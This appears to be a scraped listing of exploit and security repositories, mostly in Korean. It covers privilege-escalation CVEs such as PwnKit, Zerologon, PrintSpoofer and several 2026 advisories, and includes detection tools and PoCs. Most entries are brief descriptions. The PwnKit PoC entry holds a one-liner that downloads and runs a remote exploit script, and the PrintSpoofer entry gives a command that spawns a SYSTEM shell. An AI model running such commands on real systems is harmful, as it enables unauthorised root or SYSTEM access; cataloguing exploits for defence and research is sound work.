PwnKit-Hunter

배경 지난주, polkit의 pkexec에서 중요한 취약점이 공개적으로 공개되었습니다 링크. 이 취약점을 악용하면 취약한 호스트의 공격자는 권한이 없는 사용자로부터 쉽게 전체 루트 권한을 획득할 수 있었습니다. 이 “PwnKit” 취약점의 공개 이후, 우리는 스캔한 호스트가 취약한지 여부를 감지하고 확인하는 간단한 스크립트를 개발했습니다. 이 스크립트는 조직과 보안 팀이 모든 Linux 기반 머신을 확인하고 Polkit 취약점에 노출되지 않았는지 확인해야 하는 중요한 작업에 도움이 될 수 있습니다. 추가 세부 정보는 블로그...

local-exploits

로컬 익스플로잇 다양한 로컬 익스플로잇 CVE-2020-8793 opensmptd-makemap-lpe - Fedora 31 OpenSMTPD makemap 로컬 루트 익스플로잇. 코드는 대부분 Qualys 권고 2020-02-24에서 가져온 것으로, CVE-2020-8793에 대한 것입니다. opensmtpd: 권한이 없는 공격자가 임의의 파일을 읽으면 정보 공개 또는 권한 상승으로 이어질 수 있음 fedora-all CVE-2020-7247 root66 OpenBSD 6.6 OpenSMTPD 6.6 로컬 루트 익스플로잇...

poc-cve-2021-4034

poc-cve-2021-4034 pwnkit이라고 불리는 CVE-2021-4034용 PoC 사용 방법 그냥 make를 실행한 다음 릴리스 폴더를 확인하세요. 또는 원라이너를 선호한다면: sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" 즐기세요 dzonerzy@DESKTOP-5JHC90H:/mnt/c/Users/DZONERZY/GolangProjects/pkpwn$ ./exploit Spawni...

CVE-2026-54121

🛡️ CVE-2026-54121 — Certighost CTI 조사 Active Directory Certificate Services 권한 상승 / 도메인 손상 위험 작성자: Pratik Chhetri 보고일: 2026-07-28 📌 핵심 요약 필드| 결과 ---|--- CVE| CVE-2026-54121 이름| Certighost 공급업체| Microsoft 구성 요소| Active Directory Certificate Services, AD CS 취약점| CWE-285 — 부적절한 권한 부여 영향| 권한 상승; 잠재적...

sploits

sploits | 코드| 설명 ---|---|--- CVE-2018-4310| code| MediaRemote: 추가 샌드박스 제한으로 접근 문제가 해결되었습니다 CVE-2018-4991| code| Adobe Creative Cloud Desktop Application 버전 4.4.1.298 및 이전 버전에는 악용 가능한 부적절한 인증서 검증 취약점이 있습니다. 악용에 성공하면 보안 우회로 이어질 수 있습니다 CVE-2018-8412| code| Mac용 Microsoft AutoUpdateMAU 응용 프로그램이 업데이트를...

zerologon

Zerologon 요약 CVE-2020-1472에 대한 Zeek 탐지 패키지로, Zerologon으로도 알려져 있으며 Windows Server 도메인 컨트롤러의 Netlogon 프로토콜에 대한 CVSS 10.0 권한 상승 취약점입니다. 알림 기본적으로 두 가지 알림이 발생합니다: ZerologonAttempt은 짧은 시간 내에 필요한 횟수의 로그인 시도가 있었음을 나타냅니다. ZerologonPasswordChange는 위 조건과 함께 암호 변경이 성공적으로 수행되었음을 나타냅니다. cluster.zeek에서...

Sharepoint-cve-2023-29375-incident-response

SOC 인시던트 분석: Microsoft SharePoint Server 권한 상승 CVE-2023-29375 Microsoft SharePoint 서버를 대상으로 한 치명적인 익스플로잇 및 열거 시도에 대한 심층 보안 조사입니다. 인시던트 개요 경보 이름: SOC227 - Microsoft SharePoint Server 권한 상승 - CVE-2023-29375 악용 가능 심각도: 치명적 날짜/시간: 2023년 10월 6일 오후 8시 5분 대상 호스트명: MS-SharePointServer 대상 IP / 포트:...

iqvw64e-privilege-escalation

iqvw64e-privilege-escalation CVE-2015-2291 Локальное повышение привилегий PoC Обзор Этот проект представляет собой образовательное доказательство концепции для уязвимости локального повышения привилегий LPE в драйвере iqvw64e.sys SHA256:...

CVE-2025-24999

CVE-2025-24999 CVE-2025-24999에 대한 개념 증명 https://databasesecurityninja.wordpress.com/2026/04/02/microsoft-sql-server-privilege-elevation-through-msdatabasemanager-role-cve-2025-24999/...

CVE-2025-20393

CVE-2025-20393 📌 Обзор CVE-2025-20393 — это критическая уязвимость удаленного выполнения команд RCE в устройствах Cisco Secure Email Gateway SEG и Cisco Secure Email and Web Manager SEWM , работающих под управлением Cisco AsyncOS. Уязвимость существует из-за неправильной проверки входных данных в...

K000163505: PostgreSQL vulnerability CVE-2026-6471

Security Advisory Description Incorrect ownership assignment in PostgreSQL ALTER TABLE ALTER TYPE command reassigns ownership of dependent statistics objects to the current user. This wrongly allows the table owner to run DROP STATISTICS and ALTER STATISTICS via this improper ownership. It wrongl...

CVE-2026-59797 Apache HTTP Server: mod_ssl SSLRequire allows .htaccess ap_expr file-function

Improper Privilege Management vulnerability in Apache HTTP Server's modssl via SSLRequire and file-related expressions. This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...

CVE-2026-59797

Improper Privilege Management vulnerability in Apache HTTP Server's modssl via SSLRequire and file-related expressions. This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...

EUVD-2026-90900

Improper Privilege Management vulnerability in Apache HTTP Server's modssl via SSLRequire and file-related expressions. This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...

CVE-2026-59797

Improper Privilege Management vulnerability in Apache HTTP Server's modssl via SSLRequire and file-related expressions. This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68...

CVE-2026-59797

The Apache HTTP Server (versions 2.4.0 through 2.4.68 ) is affected by an Improper Privilege Management vulnerability in the mod_ssl component. The issue occurs via SSLRequire and file-related expressions, specifically where it allows .htaccess ap_expr file-function usage. The vulnerability has b...

PrintSpoofer

PrintSpoofer Windows Server 2016, Server 2019 및 Windows 10에서 서비스 사용자 권한을 상승시키는 데 사용할 수 있는 PrintSpoofer 익스플로잇입니다. 권한을 상승시키려면 서비스 계정에 SeImpersonate 권한이 있어야 합니다. 실행 방법: PrintSpoofer.exe -i -c cmd 적절한 권한이 있으면 시스템 사용자 셸 액세스 권한을 부여합니다...

samsung-q60t-exploit

Tizen 익스플로잇 설명 Grehack 2021에서 발표한 익스플로잇 및 펌웨어 복호화 스크립트입니다. 슬라이드는 slides . 디렉터리에서, 다시보기 영상은Youtube .에서 확인할 수 있습니다. 디렉터리 이 저장소에는 세 개의 디렉터리가 있습니다: exploit/: v8 익스플로잇과 커널 익스플로잇을 포함합니다, firmware/: 펌웨어 복호화 스크립트를 포함합니다 slides/: 이 작업에 대해 grehack에서 발표한 프레젠테이션을 포함합니다 익스플로잇 먼저 payload.c 안의 공격자 IP를 변경해야 합니다:...

CVE-2026-Termius

Termius macOS 애플리케이션 취약점 보고서 CVE-2026-Termius 대상 : Termius macOS 테스트 버전 : 최신 2026년 1월 기준 영향 : 원격 코드 실행 RCE, 로컬 권한 상승 LPE, 앱 보안 우회 🚨 실행 요약 Termius macOS 애플리케이션에서 공격자가 다음을 수행할 수 있게 하는 세 가지 심각한 취약점이 발견되었습니다: 1. 임의 시스템 명령 실행 RCE : 렌더러에 노출된 숨겨진 백도어 Symbol을 통해. 2. 저장된 모든 비밀번호 덤프 LPE : 노출된 keytar 네이티브 모...

PinTheft-go

pintheft-go pintheft의 Go 포팅 - RDS zcopy double-free LPE. Dirty Frag 취약점 클래스에 속합니다. !IMPORTANT Arch Linux는 RDS 모듈이 기본적으로 로드될 수 있는 몇 안 되는 배포판 중 하나이므로, 이 취약점에 가장 많이 노출된 배포판 중 하나입니다. 작동 방식 요약 버그는 rdsmessagezcopyfromuser에 있습니다. 이 함수는 FOLLGET을 통해 사용자 페이지를 한 번에 하나씩 GUP-핀합니다. 이후 페이지에서 폴트가 발생하면예: PROTNONE...